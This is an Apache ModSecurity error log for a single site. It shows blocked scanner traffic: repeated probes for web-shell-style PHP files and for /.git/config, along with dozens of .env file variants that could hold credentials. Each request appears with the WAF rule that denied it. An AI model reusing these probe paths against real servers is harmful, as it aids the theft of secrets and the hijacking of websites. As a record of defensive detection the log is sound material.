[Sat Apr 25 10:00:54.228210 2026] [:error] [pid 44319:tid 44345] [client 51.107.77.218:64139] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "aewgVszJPAVLUb2pWtJ0rQAAABA"]
[Sat Apr 25 10:00:55.525463 2026] [:error] [pid 44425:tid 44440] [client 51.107.77.218:65212] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "aewgVyUl-VlItvY2tR9PTwAAAM0"]
[Sat Apr 25 10:00:57.165792 2026] [:error] [pid 44320:tid 44372] [client 51.107.77.218:64243] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "aewgWTmFqSpku_dij8ib_AAAAFA"]
[Sat Apr 25 10:00:58.001466 2026] [:error] [pid 44321:tid 44390] [client 51.107.77.218:64249] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "aewgWo1b5lV-asWa_Y5cvgAAAIc"]
[Sat Apr 25 10:00:59.197066 2026] [:error] [pid 44425:tid 44445] [client 51.107.77.218:65205] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aewgWyUl-VlItvY2tR9PVwAAANI"]
[Sat Apr 25 10:01:00.305231 2026] [:error] [pid 44425:tid 44431] [client 51.107.77.218:5400] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aewgXCUl-VlItvY2tR9PWAAAAMQ"]
[Sat Apr 25 10:01:01.389479 2026] [:error] [pid 46083:tid 46100] [client 51.107.77.218:47529] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aewgXTxw_Zq74vWdjmmWCAAAAQ0"]
[Sat Apr 25 10:01:03.011063 2026] [:error] [pid 44319:tid 44352] [client 51.107.77.218:64739] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rip.php"] [unique_id "aewgX8zJPAVLUb2pWtJ0vAAAABc"]
[Sat Apr 25 10:01:04.651020 2026] [:error] [pid 44321:tid 44396] [client 51.107.77.218:64166] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aewgYI1b5lV-asWa_Y5cxgAAAI0"]
[Sat Apr 25 10:01:05.629727 2026] [:error] [pid 44320:tid 44377] [client 51.107.77.218:5491] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aewgYTmFqSpku_dij8ib_wAAAFU"]
[Sat Apr 25 10:01:06.376835 2026] [:error] [pid 44320:tid 44367] [client 51.107.77.218:65216] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aewgYjmFqSpku_dij8icAAAAAEs"]
[Sat Apr 25 10:01:09.312392 2026] [:error] [pid 44425:tid 44444] [client 51.107.77.218:65184] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aewgZSUl-VlItvY2tR9PXgAAANE"]
[Sat Apr 25 10:01:11.260473 2026] [:error] [pid 44321:tid 44386] [client 51.107.77.218:5627] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "aewgZ41b5lV-asWa_Y5cywAAAIM"]
[Sat Apr 25 11:17:31.961650 2026] [:error] [pid 44321:tid 44394] [client 20.89.236.85:5223] [client 20.89.236.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "aewyS41b5lV-asWa_Y5w0QAAAIs"]
[Sat Apr 25 11:17:32.473113 2026] [:error] [pid 44425:tid 44441] [client 20.89.236.85:5218] [client 20.89.236.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "aewyTCUl-VlItvY2tR9oWwAAAM4"]
[Sat Apr 25 11:17:32.963152 2026] [:error] [pid 44319:tid 44343] [client 20.89.236.85:5578] [client 20.89.236.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "aewyTMzJPAVLUb2pWtKAMwAAAA4"]
[Sat Apr 25 11:17:33.446687 2026] [:error] [pid 44320:tid 44375] [client 20.89.236.85:4938] [client 20.89.236.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php"] [unique_id "aewyTTmFqSpku_dij8ipBQAAAFM"]
[Sat Apr 25 16:37:30.147890 2026] [:error] [pid 46083:tid 46096] [client 175.6.217.4:51824] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aex9Sjxw_Zq74vWdjmkReAAAAQk"]
[Sat Apr 25 18:43:18.582076 2026] [:error] [pid 16106:tid 16134] [client 15.237.127.99:56766] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aeyaxiGjdEsrWF7e-7MhQQAAAFg"]
[Sat Apr 25 18:43:19.847911 2026] [:error] [pid 29049:tid 29066] [client 15.237.127.99:56868] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aeyaxyfsWHIvmg63qcVkAAAAAQ8"]
[Sat Apr 25 18:43:20.846649 2026] [:error] [pid 16106:tid 16121] [client 15.237.127.99:56924] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aeyayCGjdEsrWF7e-7MhQgAAAEs"]
[Sat Apr 25 18:43:21.849402 2026] [:error] [pid 16106:tid 16120] [client 15.237.127.99:56972] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aeyaySGjdEsrWF7e-7MhRQAAAEo"]
[Sat Apr 25 18:43:22.849853 2026] [:error] [pid 16195:tid 16219] [client 15.237.127.99:57024] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aeyayjVPLvrpvXaNQOkVJwAAABU"]
[Sat Apr 25 18:43:23.858004 2026] [:error] [pid 16106:tid 16118] [client 15.237.127.99:57084] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aeyayyGjdEsrWF7e-7MhSQAAAEg"]
[Sat Apr 25 18:43:24.860839 2026] [:error] [pid 29049:tid 29059] [client 15.237.127.99:57124] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "aeyazCfsWHIvmg63qcVkCAAAAQg"]
[Sat Apr 25 18:43:25.870420 2026] [:error] [pid 29049:tid 29065] [client 15.237.127.99:57172] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "aeyazSfsWHIvmg63qcVkDQAAAQ4"]
[Sat Apr 25 18:43:26.883964 2026] [:error] [pid 16106:tid 16121] [client 15.237.127.99:57226] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aeyaziGjdEsrWF7e-7MhTAAAAEs"]
[Sat Apr 25 18:43:27.881228 2026] [:error] [pid 16106:tid 16112] [client 15.237.127.99:57270] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aeyazyGjdEsrWF7e-7MhUAAAAEI"]
[Sat Apr 25 18:43:28.881850 2026] [:error] [pid 16195:tid 16202] [client 15.237.127.99:57306] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aeya0DVPLvrpvXaNQOkVKwAAAAQ"]
[Sat Apr 25 18:43:29.879946 2026] [:error] [pid 16107:tid 16161] [client 15.237.127.99:57332] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aeya0dIfF7Hy3tw0sYRohAAAAJg"]
[Sat Apr 25 18:43:30.877528 2026] [:error] [pid 16107:tid 16140] [client 15.237.127.99:57364] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "aeya0tIfF7Hy3tw0sYRohwAAAIM"]
[Sat Apr 25 18:43:31.873144 2026] [:error] [pid 16195:tid 16198] [client 15.237.127.99:57396] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aeya0zVPLvrpvXaNQOkVMQAAAAA"]
[Sat Apr 25 18:43:32.879199 2026] [:error] [pid 16107:tid 16151] [client 15.237.127.99:57422] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "aeya1NIfF7Hy3tw0sYRokAAAAI4"]
[Sat Apr 25 18:43:33.887155 2026] [:error] [pid 29049:tid 29075] [client 15.237.127.99:57452] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "aeya1SfsWHIvmg63qcVkEQAAARg"]
[Sat Apr 25 18:43:34.892960 2026] [:error] [pid 16106:tid 16128] [client 15.237.127.99:57484] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.stage"] [unique_id "aeya1iGjdEsrWF7e-7MhUgAAAFI"]
[Sat Apr 25 18:43:35.904944 2026] [:error] [pid 16195:tid 16203] [client 15.237.127.99:57552] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.ci"] [unique_id "aeya1zVPLvrpvXaNQOkVOgAAAAU"]
[Sat Apr 25 18:43:36.914730 2026] [:error] [pid 29049:tid 29073] [client 15.237.127.99:57622] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.docker"] [unique_id "aeya2CfsWHIvmg63qcVkKwAAARY"]
[Sat Apr 25 18:43:37.911359 2026] [:error] [pid 29049:tid 29074] [client 15.237.127.99:57702] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.live"] [unique_id "aeya2SfsWHIvmg63qcVkMQAAARc"]
[Sat Apr 25 18:43:38.918504 2026] [:error] [pid 29049:tid 29069] [client 15.237.127.99:57766] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.preprod"] [unique_id "aeya2ifsWHIvmg63qcVkNQAAARI"]
[Sat Apr 25 18:43:39.923028 2026] [:error] [pid 16195:tid 16209] [client 15.237.127.99:57858] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.uat"] [unique_id "aeya2zVPLvrpvXaNQOkVQwAAAAs"]
[Sat Apr 25 18:43:40.925060 2026] [:error] [pid 16106:tid 16118] [client 15.237.127.99:57934] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dist"] [unique_id "aeya3CGjdEsrWF7e-7MhWgAAAEg"]
[Sat Apr 25 18:43:41.925627 2026] [:error] [pid 16106:tid 16110] [client 15.237.127.99:57960] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.swp"] [unique_id "aeya3SGjdEsrWF7e-7MhXwAAAEA"]
[Sat Apr 25 18:43:42.934290 2026] [:error] [pid 29049:tid 29073] [client 15.237.127.99:57986] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env~"] [unique_id "aeya3ifsWHIvmg63qcVkPQAAARY"]
[Sat Apr 25 18:43:43.940807 2026] [:error] [pid 29049:tid 29056] [client 15.237.127.99:58020] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "aeya3yfsWHIvmg63qcVkQAAAAQU"]
[Sat Apr 25 18:43:44.946329 2026] [:error] [pid 16107:tid 16142] [client 15.237.127.99:58056] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/apps/.env"] [unique_id "aeya4NIfF7Hy3tw0sYRopQAAAIU"]
[Sat Apr 25 18:43:45.952357 2026] [:error] [pid 16107:tid 16145] [client 15.237.127.99:58086] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/api/.env"] [unique_id "aeya4dIfF7Hy3tw0sYRoqgAAAIg"]
[Sat Apr 25 18:43:46.957843 2026] [:error] [pid 16106:tid 16132] [client 15.237.127.99:58114] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/web/.env"] [unique_id "aeya4iGjdEsrWF7e-7MhYgAAAFY"]
[Sat Apr 25 18:43:47.964619 2026] [:error] [pid 16106:tid 16125] [client 15.237.127.99:58146] [client 15.237.127.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/site/.env"] [unique_id "aeya4yGjdEsrWF7e-7MhZQAAAE8"]
[Sat Apr 25 19:19:58.812228 2026] [:error] [pid 16195:tid 16210] [client 43.159.143.139:50716] [client 43.159.143.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeyjXjVPLvrpvXaNQOkfxgAAAAw"]
[Sat Apr 25 20:39:49.186761 2026] [:error] [pid 59898:tid 59969] [client 18.136.202.61:50540] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aey2FR-4vImxb0kbdzej1QAAAM8"]
[Sat Apr 25 20:39:49.743602 2026] [:error] [pid 3212:tid 3222] [client 18.136.202.61:50562] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aey2Ffg-28TY8_YLtUcYfwAAAQg"]
[Sat Apr 25 20:39:50.173229 2026] [:error] [pid 3212:tid 3221] [client 18.136.202.61:50572] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aey2Fvg-28TY8_YLtUcYgAAAAQc"]
[Sat Apr 25 20:39:50.601906 2026] [:error] [pid 3212:tid 3231] [client 18.136.202.61:50578] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aey2Fvg-28TY8_YLtUcYggAAARE"]
[Sat Apr 25 20:39:51.030027 2026] [:error] [pid 3212:tid 3234] [client 18.136.202.61:50584] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aey2F_g-28TY8_YLtUcYhQAAARQ"]
[Sat Apr 25 20:39:51.457466 2026] [:error] [pid 59896:tid 59901] [client 18.136.202.61:50590] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aey2F7LLzhtkd-OXUgDfugAAAEE"]
[Sat Apr 25 20:39:51.886392 2026] [:error] [pid 59985:tid 60007] [client 18.136.202.61:50594] [client 18.136.202.61] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "aey2FwF_zDvEhKvyTH6jRwAAABQ"]
